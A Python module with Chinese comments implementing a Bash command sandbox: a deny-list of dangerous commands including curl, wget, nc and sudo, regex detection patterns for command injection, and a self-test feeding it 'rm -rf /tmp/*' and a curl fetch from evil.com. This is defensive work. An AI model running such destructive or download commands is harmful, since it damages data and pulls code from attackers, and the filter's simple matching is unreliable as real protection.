#!/usr/bin/env python3
"""
强化Bash安全执行器
实现多层安全防护，有效屏蔽高危命令
"""

import os
import re
import tempfile
import shlex
import subprocess
from typing import List, Set, Dict, Any, Tuple
import logging

logger = logging.getLogger(__name__)

class SecureBashExecutor:
    """强化Bash安全执行器"""
    
    def __init__(self):
        # 完整的高危命令黑名单
        self.dangerous_commands = {
            # === 文件系统操作 ===
            'rm', 'rmdir', 'unlink',           # 删除文件/目录
            'mv', 'rename',                    # 移动/重命名
            'cp', 'copy',                      # 复制
            'chmod', 'chown', 'chgrp',         # 权限修改
            'ln', 'link',                      # 创建链接
            'mkdir', 'mkfifo', 'mknod',        # 创建目录/特殊文件
            'touch', 'truncate',               # 文件操作
            'dd', 'shred', 'wipe',             # 低级文件操作
            
            # === 系统管理 ===
            'mount', 'umount', 'unmount',      # 挂载文件系统
            'fdisk', 'parted', 'mkfs',         # 磁盘分区
            'fsck', 'e2fsck',                  # 文件系统检查
            'swapon', 'swapoff',               # 交换空间
            'sync', 'fsync',                   # 磁盘同步
            
            # === 进程和服务管理 ===
            'kill', 'killall', 'pkill',       # 杀死进程
            'nohup', 'disown',                 # 后台进程
            'systemctl', 'service',            # 系统服务
            'init', 'telinit',                 # 系统初始化
            'shutdown', 'halt', 'reboot',      # 系统关机/重启
            'poweroff',                        # 关机
            
            # === 用户和权限管理 ===
            'su', 'sudo',                      # 权限提升
            'passwd', 'chpasswd',              # 密码管理
            'useradd', 'userdel', 'usermod',   # 用户管理
            'groupadd', 'groupdel', 'groupmod', # 组管理
            'newgrp', 'sg',                    # 组切换
            'visudo',                          # sudo配置
            
            # === 网络相关 ===
            'wget', 'curl', 'lynx', 'w3m',    # HTTP客户端
            'nc', 'netcat', 'ncat',            # 网络工具
            'ssh', 'scp', 'sftp', 'rsync',    # 远程访问
            'ftp', 'tftp', 'telnet',           # 网络协议
            'ping', 'traceroute', 'nslookup',  # 网络诊断
            'dig', 'host', 'whois',            # DNS查询
            'iptables', 'ip6tables',           # 防火墙
            'ufw', 'firewall-cmd',             # 防火墙前端
            'tcpdump', 'wireshark', 'tshark',  # 网络抓包
            
            # === 系统信息收集 ===
            'ps', 'top', 'htop', 'atop',      # 进程信息
            'netstat', 'ss', 'lsof',          # 网络/文件信息
            'who', 'w', 'last', 'lastlog',    # 用户信息
            'history', 'fc',                   # 命令历史
            'env', 'printenv', 'set',          # 环境变量
            'id', 'groups', 'whoami',          # 身份信息
            'uname', 'hostnamectl',            # 系统信息
            'uptime', 'free', 'vmstat',        # 系统状态
            'df', 'du', 'lsblk', 'fdisk',      # 磁盘信息
            'lscpu', 'lshw', 'dmidecode',      # 硬件信息
            'lsmod', 'modinfo',                # 内核模块
            'dmesg', 'journalctl',             # 系统日志
            
            # === 文件查看和编辑 ===
            'cat', 'tac', 'more', 'less',     # 文件查看
            'head', 'tail', 'view',            # 文件查看
            'vi', 'vim', 'nano', 'emacs',      # 文件编辑
            'ed', 'sed', 'awk',                # 文本处理
            'grep', 'egrep', 'fgrep',          # 文本搜索
            'find', 'locate', 'which',         # 文件查找
            'whereis', 'type',                 # 命令查找
            
            # === 压缩和归档 ===
            'tar', 'gzip', 'gunzip',          # 归档压缩
            'zip', 'unzip', 'rar', 'unrar',   # 压缩工具
            '7z', 'xz', 'bzip2', 'bunzip2',   # 压缩工具
            
            # === 开发工具 ===
            'gcc', 'g++', 'clang',             # C/C++编译器
            'make', 'cmake', 'ninja',          # 构建工具
            'python', 'python3', 'pip',       # Python
            'node', 'npm', 'yarn',             # Node.js
            'java', 'javac', 'maven', 'gradle', # Java
            'ruby', 'gem', 'bundler',          # Ruby
            'go', 'rust', 'cargo',             # 其他语言
            'git', 'svn', 'hg',                # 版本控制
            
            # === 计划任务 ===
            'crontab', 'at', 'batch',          # 计划任务
            'anacron',                         # 计划任务
            
            # === 内核和模块 ===
            'insmod', 'rmmod', 'modprobe',     # 内核模块
            'depmod', 'lsmod',                 # 模块管理
            'sysctl',                          # 内核参数
            
            # === 包管理 ===
            'apt', 'apt-get', 'dpkg',          # Debian/Ubuntu
            'yum', 'dnf', 'rpm',               # RedHat/Fedora
            'zypper',                          # openSUSE
            'pacman', 'makepkg',               # Arch Linux
            'emerge',                          # Gentoo
            'brew',                            # macOS
            
            # === 其他危险命令 ===
            'eval', 'exec', 'source', '.',     # 代码执行
            'alias', 'unalias',                # 别名操作
            'export', 'unset',                 # 环境变量操作
            'ulimit',                          # 资源限制
            'strace', 'ltrace',                # 调试工具
            'gdb', 'objdump',                  # 调试工具
            'hexdump', 'xxd', 'od',            # 二进制查看
        }
        
        # 允许的安全命令（基本命令）
        self.allowed_commands = {
            # 基本输出
            'echo', 'printf',
            # 基本计算
            'expr', 'bc', 'dc',
            # 字符串处理（受限）
            'cut', 'tr', 'sort', 'uniq', 'wc', 'grep', 'head', 'tail',
            # 基本控制结构关键字
            'if', 'then', 'else', 'elif', 'fi',
            'for', 'while', 'until', 'do', 'done',
            'case', 'esac', 'select',
            'function', 'return', 'break', 'continue',
            # 基本变量操作
            'read', 'local', 'declare', 'typeset',
            # 数学运算
            'let', 'test', '[', '[[', 
            # 基本流程控制
            'true', 'false', 'exit',
            # 内置命令
            'cd', 'pwd', 'dirs', 'pushd', 'popd',
            'jobs', 'fg', 'bg', 'wait',
            # 字符串测试
            'basename', 'dirname',
            # 时间和日期（安全）
            'date', 'cal',
            # 基本文本输出和格式化
            'seq', 'yes', 'sleep',
            # 数学计算
            'factor', 'units',
        }
        
        # 危险的操作符和语法
        self.dangerous_patterns = [
            r'>\s*/[^>]',       # 重定向到绝对路径文件
            r'>>\s*/',          # 追加重定向到绝对路径
            r'<\s*[/~]',        # 从绝对路径或主目录输入
            r'\$\([^(]',        # 命令替换（但不匹配数学扩展$((...))
            r'`.*`',            # 反引号命令替换
            r'&\s*$',           # 后台执行
            r'\|\s*(?!grep|wc|head|tail|sort|uniq|cut|tr)[a-zA-Z]',   # 管道到危险命令
            # 移除过于严格的分号检测，改为检测明显的命令注入
            r';\s*(?:rm|mv|cp|curl|wget|nc|ssh|sudo|su)\s+',  # 分号后跟明显危险命令
            r'&&\s*(?:rm|mv|cp|curl|wget|nc|ssh|sudo|su)\s+',   # 逻辑与后跟危险命令
            r'\|\|\s*(?:rm|mv|cp|curl|wget|nc|ssh|sudo|su)\s+', # 逻辑或后跟危险命令
            r'\{[^}]*[/~][^}]*\}', # 大括号扩展包含绝对路径
            r'/(?:etc|proc|sys|dev|boot|root)/[a-zA-Z0-9/_.-]*\*', # 敏感目录中的通配符
            r'~[a-zA-Z0-9/_.-]*',   # 用户主目录扩展
            r'\$\{[^}]*[/~][^}]*\}', # 变量扩展包含路径
        ]
    
    def analyze_bash_code(self, code: str) -> Tuple[bool, List[str]]:
        """
        分析Bash代码的安全性
        
        Returns:
            (is_safe, violations) - 是否安全和违规项列表
        """
        violations = []
        
        # 1. 检查危险命令
        dangerous_cmds = self._find_dangerous_commands(code)
        if dangerous_cmds:
            violations.extend([f"危险命令: {cmd}" for cmd in dangerous_cmds])
        
        # 2. 检查危险语法模式
        dangerous_patterns = self._find_dangerous_patterns(code)
        if dangerous_patterns:
            violations.extend([f"危险语法: {pattern}" for pattern in dangerous_patterns])
        
        # 3. 检查文件路径访问
        file_accesses = self._find_file_accesses(code)
        if file_accesses:
            violations.extend([f"文件访问: {path}" for path in file_accesses])
        
        is_safe = len(violations) == 0
        
        return is_safe, violations
    
    def _find_dangerous_commands(self, code: str) -> List[str]:
        """查找代码中的危险命令"""
        found_dangerous = []
        
        # 按行处理
        for line in code.split('\n'):
            line = line.strip()
            if not line or line.startswith('#'):
                continue
            
            # 使用shlex安全解析命令行
            try:
                tokens = shlex.split(line)
                if not tokens:
                    continue
                
                # 检查第一个命令
                first_cmd = tokens[0]
                if first_cmd in self.dangerous_commands and first_cmd not in self.allowed_commands:
                    found_dangerous.append(first_cmd)
                
                # 检查管道中的命令
                pipe_parts = line.split('|')
                for part in pipe_parts:
                    part_tokens = shlex.split(part.strip())
                    if part_tokens and part_tokens[0] in self.dangerous_commands and part_tokens[0] not in self.allowed_commands:
                        found_dangerous.append(part_tokens[0])
                        
            except ValueError:
                # shlex解析失败，可能包含不完整的引号等
                # 使用简单的单词匹配作为后备
                words = line.split()
                for word in words:
                    clean_word = re.sub(r'[^\w]', '', word)
                    if clean_word in self.dangerous_commands and clean_word not in self.allowed_commands:
                        found_dangerous.append(clean_word)
        
        return list(set(found_dangerous))
    
    def _find_dangerous_patterns(self, code: str) -> List[str]:
        """查找代码中的危险语法模式"""
        found_patterns = []
        
        for pattern in self.dangerous_patterns:
            if re.search(pattern, code):
                found_patterns.append(pattern)
        
        return found_patterns
    
    def _find_file_accesses(self, code: str) -> List[str]:
        """查找代码中的文件访问"""
        file_accesses = []
        
        # 查找绝对路径
        absolute_paths = re.findall(r'/[a-zA-Z0-9/_.-]*', code)
        for path in absolute_paths:
            # 检查是否访问敏感目录
            sensitive_dirs = ['/etc', '/proc', '/sys', '/dev', '/boot', '/root', '/home']
            for sensitive in sensitive_dirs:
                if path.startswith(sensitive):
                    file_accesses.append(path)
                    break
        
        return list(set(file_accesses))
    
    def create_secure_bash_wrapper(self, original_code: str) -> str:
        """创建安全的Bash包装脚本"""
        
        # 分析代码安全性
        is_safe, violations = self.analyze_bash_code(original_code)
        
        if not is_safe:
            # 如果代码不安全，创建一个报告违规的脚本
            violation_report = "\\n".join(violations)
            wrapper_script = f"""#!/bin/bash

# === Bash安全沙箱检测到违规操作 ===
echo "🚫 安全检查失败：检测到以下违规操作："
echo "{violation_report}"
echo ""
echo "❌ 代码执行被阻止以保护系统安全"
exit 1
"""
        else:
            # 如果代码安全，创建受限执行环境
            wrapper_script = f"""#!/bin/bash

# === Bash安全沙箱执行环境 ===
set -uo pipefail  # 严格模式（但允许命令返回非0退出码）

# 创建安全函数来禁用危险操作
eval() {{
    echo "ERROR: eval命令被禁用"
    return 1
}}

exec() {{
    echo "ERROR: exec命令被禁用"
    return 1
}}

source() {{
    echo "ERROR: source命令被禁用"
    return 1
}}

.() {{
    echo "ERROR: source命令被禁用"
    return 1
}}

# 执行用户代码
{self._indent_code(original_code, '')}
"""
        
        return wrapper_script
    
    def _indent_code(self, code: str, indent: str) -> str:
        """为代码添加缩进"""
        lines = code.split('\n')
        indented_lines = []
        for line in lines:
            if line.strip():
                indented_lines.append(indent + line)
            else:
                indented_lines.append('')
        return '\n'.join(indented_lines)
    
    def create_restricted_environment(self, work_dir: str) -> Dict[str, str]:
        """创建受限的执行环境变量"""
        return {
            'PATH': '/usr/bin:/bin',
            'HOME': work_dir,
            'PWD': work_dir,
            'TMPDIR': work_dir,
            'TEMP': work_dir,
            'TMP': work_dir,
            'LANG': 'C.UTF-8',
            'LC_ALL': 'C.UTF-8',
            'SHELL': '/bin/bash',
            'TERM': 'dumb',
            # 禁用bash历史和配置文件
            'HISTFILE': '/dev/null',
            'HISTSIZE': '0',
            'HISTFILESIZE': '0',
            'BASH_ENV': '',
            'ENV': '',
        }
    
    def get_execution_command(self, script_file: str, timeout_seconds: int = 10) -> List[str]:
        """获取安全的bash执行命令"""
        return [
            "timeout", f"{timeout_seconds}s",
            "bash", 
            "--noprofile",      # 不加载配置文件
            "--norc",           # 不加载rc文件
            "--restricted",     # 受限模式
            script_file
        ]

# 使用示例
def create_secure_bash_executor():
    """创建安全的Bash执行器实例"""
    return SecureBashExecutor()

if __name__ == "__main__":
    # 测试代码
    executor = SecureBashExecutor()
    
    # 测试危险代码
    dangerous_code = """
    echo "Hello"
    rm -rf /tmp/*
    curl http://evil.com/malware
    """
    
    is_safe, violations = executor.analyze_bash_code(dangerous_code)
    print(f"代码安全性: {is_safe}")
    print(f"违规项: {violations}")
    
    wrapper = executor.create_secure_bash_wrapper(dangerous_code)
    print("生成的安全包装脚本:")
    print(wrapper) 